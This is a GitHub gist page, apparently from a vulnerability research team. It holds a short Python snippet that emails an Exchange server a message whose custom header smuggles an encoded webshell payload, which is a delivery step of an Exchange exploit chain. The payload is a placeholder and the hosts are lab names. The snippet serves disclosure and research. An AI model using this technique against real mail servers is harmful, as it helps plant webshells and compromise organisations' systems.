Skip to content

Instantly share code, notes, and snippets.

@zdi-team
Created August 16, 2021 14:40
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save zdi-team/d334bbd88efce031504d782558154413 to your computer and use it in GitHub Desktop.
Save zdi-team/d334bbd88efce031504d782558154413 to your computer and use it in GitHub Desktop.
from_mail = 'attacker@exchange.local'
to_mail = 'orange@exchange.local'
payload = 'webshell code here...'
msg = MIMEText(None, _subtype='plain')
msg.set_payload('hi', 'utf-8')
msg['Subject'] = 'exploit'
msg['From'] = from_mail
msg['To'] = to_mail
msg['TEST'] = ('A'*16) + encode(payload) + ('A'*16)
msg = msg.as_string().replace('\n', '\r\n')
r = smtplib.SMTP('exchange.local', port=25)
r.sendmail(from_mail, to_mail, msg)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment